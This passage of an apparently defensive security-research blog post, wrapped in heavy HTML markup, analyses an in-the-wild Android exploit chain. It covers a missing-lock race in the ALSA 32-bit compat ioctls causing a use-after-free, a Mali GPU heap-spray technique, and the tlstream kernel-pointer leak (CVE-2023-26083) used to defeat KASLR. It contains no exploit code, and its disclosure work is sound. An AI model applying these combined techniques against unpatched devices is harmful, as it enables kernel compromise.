baseline; white-space-collapse: preserve;"> to move the lock acquisition out of </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_{write|read}()</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> functions and further up the call graph for the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_IOCTL_ELEM_{READ|WRITE}</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> ioctls. However, this commit only addressed the 64-bit ioctl code, introducing a race condition into the 32-bit compatibility layer </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_IOCTL_ELEM_{READ|WRITE}32</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> ioctls.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">The 32-bit and 64-bit ioctls differ until they both call </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_{write|read}</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> so when the lock was moved up the 64-bit call chain, it was entirely removed from the 32-bit ioctls. Here’s the code path for </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_IOCTL_ELEM_WRITE</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> in 64-bit mode on kernel 5.10.107 post-refactor:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_ioctl</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write_user</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">[takes</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">controls_rwsem]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">[lock</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">properly</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">held,</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">all</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">good]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">[drops</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">controls_rwsem]</span></p><br /><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">And here is the code path for that same ioctl called in 32-bit mode:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_ioctl_compat</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write_user_compat</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ctl_elem_write_user</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">[missing</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">lock,</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">not</span><span style="font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #188038; font-family: "Roboto Mono", monospace; font-size: 9pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">good]</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><br /></span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">These missing locks allowed the attacker to race </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_add</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> and </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write_user_compat</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> calls resulting in </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> executing with a freed </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct snd_kcontrol</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> object. The 32-bit </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_IOCTL_ELEM_READ</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> ioctl behaved very similarly to the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_IOCTL_ELEM_WRITE </span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">ioctl, with the same bug leading to a similar primitive.</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">In March 2021, these missing locks were added to </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_IOCTL_ELEM_</span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space-collapse: preserve;">WRITE32</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> in upstream commit </span><a href="https://github.com/torvalds/linux/commit/1fa4445f9adf19a3028ce0e8f375bac75214fc10" style="text-decoration-line: none;"><span face="Arial, sans-serif" style="color: #1155cc; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space-collapse: preserve;">1fa4445f9adf1</span><span face="Arial, sans-serif" style="color: black; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> when the locks were moved back from </span><span style="color: black; font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write_user</span><span face="Arial, sans-serif" style="color: black; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> in to </span><span style="color: black; font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write</span></a><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> in what was supposed to be an inconsequential refactor. This change accidentally fixed the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_IOCTL_ELEM_</span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space-collapse: preserve;">WRITE32</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space-collapse: preserve;"> </span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">half of the bug. However this commit was never backported or merged into the Android kernel as its security impact was not identified and thus was able to be exploited in-the-wild in December 2022. The </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">SNDRV_CTL_IOCTL_ELEM_</span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space-collapse: preserve;">READ32</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> call also remained unpatched until January 2023 when the in-the-wild exploit was discovered.</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span face="Arial, sans-serif" style="font-size: 16pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space-collapse: preserve;">A New Heap Spray Primitive</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">Most exploits take advantage of such a classical UAF condition by reclaiming the virtual memory backing the freed object with attacker controlled data, and this exploit is no exception. Interestingly the attacker used Mali GPU driver features to perform the reclaim technique, despite the primary memory corruption bug being agnostic to the GPU used by the device. By creating many </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">REQ_SOFT_JIT_FREE</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> jobs which are gated behind a </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">BASE_JD_REQ_SOFT_EVENT_WAIT</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">, the attacker can take advantage of the associated </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kmalloc_array</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/</span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">copy_to_user</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> calls in </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">kbase_jit_free_prepare</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> to create a powerful heap spray technique - a heap spray which is fully attacker controlled, variable in size, temporally indefinite and controllably freeable. </span><a href="https://duasynt.com/blog/linux-kernel-heap-spray" style="text-decoration-line: none;"><span face="Arial, sans-serif" style="color: #1155cc; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; text-decoration-line: underline; text-decoration-skip-ink: none; vertical-align: baseline; white-space-collapse: preserve;">These heap spray techniques are uncommon but not unheard of, and other heap spray strategies do exist</span></a><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> but at least some of them, such as the userfaultfd technique, are mitigated by SELinux policy and sysctl parameters although others (such as the equivalent technique provided by AppFuse) may still exist. That makes this new technique particularly potent on Android devices where many of these spray strategies are mitigated.</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span face="Arial, sans-serif" style="font-size: 16pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space-collapse: preserve;">Bug #2: A Leaky Feature (CVE-2023-26083)</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">Mali provides a performance tracing facility called "timeline stream", "tlstream" or "tl". This facility was available to unprivileged code, traces all GPU operations across the whole system (including GPU operations by other processes), and </span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space-collapse: preserve;">uses kernel pointers</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> as object identifiers in the messages sent to userspace. This means that by generating tlstream events referencing objects containing attacker-controlled data, the attackers are able to </span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space-collapse: preserve;">place 16 bytes of controlled data at a known kernel address</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">. Additionally, the attackers can use this capability to defeat KASLR as these kernel pointers also leak information about the kernel address space back to userland. This issue was reported to ARM as CVE-2023-26083 on January 17th, 2023, and is now fixed by preventing unprivileged access to the tlstream facility.</span></p><br /><h2 dir="ltr" style="line-height: 1.38; margin-bottom: 6pt; margin-top: 18pt;"><span face="Arial, sans-serif" style="font-size: 16pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 400; vertical-align: baseline; white-space-collapse: preserve;">Combining The Primitives</span></h2><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">The heap spray described above is used to reclaim the backing store of the improperly freed </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct snd_kcontrol</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> used in </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">. The tlstream facility then allows attackers to fill that backing store with pointers to attacker controlled data. Blending these two capabilities allows attackers to forge highly detailed </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> objects. The </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_ctl_elem_write</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> code (along with the </span><span style="font-family: "Courier New", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct snd_kcontrol</span><span face="Arial, sans-serif" style="font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> definition) is shown below:</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">snd_kcontrol</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">{</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #1967d2; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">struct</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">list_head</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">list;</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"><span class="Apple-tab-span" style="text-wrap: nowrap;"> </span></span><span style="color: #37474f; font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;">/*</span><span style="font-family: "Roboto Mono", monospace; font-size: 11pt; font-variant-alternates: normal; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space-collapse: preserve;"> </span><span style="color: #37474f; 